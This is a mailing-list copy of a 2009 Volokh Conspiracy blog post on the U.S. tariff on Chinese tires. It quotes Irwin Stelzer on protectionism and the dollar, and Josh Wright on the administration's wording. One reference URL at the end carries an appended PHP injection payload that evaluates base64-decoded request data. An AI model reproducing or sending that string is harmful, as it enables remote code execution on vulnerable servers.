Posted by Jonathan Adler:
More on the Tire Tariff:
http://volokh.com/archives/archive_2009_09_13-2009_09_19.shtml#1252856179


   [1]Irwin Stelzer thinks the tire tariff decision is a portent of bad
   trade policies to come.

     Obama's decision on tires makes it clear that he has no intention
     of supporting efforts to revive the almost 8-year-old Doha
     trade-opening negotiations. Some 36 nations met in New Delhi
     earlier this month and professed interest in completing a deal by
     the end of next year. Not likely: the recession has made jobs,
     jobs, jobs politicians' central concern, and few are prepared to
     take the flak that will surely arise if they open their markets,
     and expose even a few domestic companies or farmers to
     job-destroying competition. The talks collapsed in July of 2008
     precisely for that reason. Obama has been sitting on proposals for
     bilateral free trade agreements with Colombia and Korea, among
     others, and sees no reason to antagonize the strong, protectionist
     wing of his party, already unhappy with his failure -- so far - to
     throw his weight behind a bill that would end the secret ballot in
     union-recognition elections, and require compulsory arbitration
     when union-management negotiations break down. . . .

     Almost every country is seeking to export its way out of the
     recession. Germany is relying on its exporters to create jobs;
     China is depending on its export machine to keep its economy
     growing fast enough to create millions of jobs and avoid social
     unrest; Japan's new government, no longer reflexively pro-American,
     also needs exports to end a decade of stagnation. But Obama, in
     charge of the world's consumer-of-last-resort, has decided to
     eschew that role in the future. Indeed, he has had his Trade
     Representative, Ron Kirk, announce that America will no longer
     allow its trade partners to "run roughshod over us." Some of the
     president's reasons for pushing exports and tightening up on
     imports are purely political -- he needs the trade unions and his
     party's left. Others are more fundamental -- he has to cut the U.S.
     trade deficit lest the value of the dollar continue its descent and
     add to the inflationary pressures created by his enormous deficits.

     Meanwhile, he has sent a signal to the Sino-Franco-Russian et al.
     anti-dollar bloc that for all his talk about international
     cooperation to fight the recession, he is in the end willing to go
     it alone if domestic politics so dictate. That will increase their
     resolve to find some replacement for the dollar as the world's
     reserve currency. Obama might indeed turn out to be the
     "transformative" president he intends to be, but not quite in the
     way he intends.

   Meanwhile, [2]Josh Wright points to some Orwellian doublespeak on the
   tire decision:

     The three-year remedies, consisting of an additional tariff of 35
     percent ad valorem in the first year, 30 percent ad valorem in the
     second, and 25 percent ad valorem in the third year, are being
     imposed after a finding by the United States International Trade
     Commission that a harmful surge of imports of Chinese tires
     disrupted the U.S. market for those products. . . . "This
     Administration is doing what is necessary to enforce trade
     agreements on behalf of American workers and manufacturers.
     Enforcing trade laws is key to maintaining an open and free trading
     system."

References

   1. 
http://www.weeklystandard.com/Content/Public/Articles/000/000/016/959ypaav.asp
   2. 
http://www.truthonthemarket.com/2009/09/12/economic-illiteracy-of-the-week-2/%25&;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%25/

_______________________________________________
Volokh mailing list
[email protected]
http://lists.powerblogs.com/cgi-bin/mailman/listinfo/volokh

Reply via email to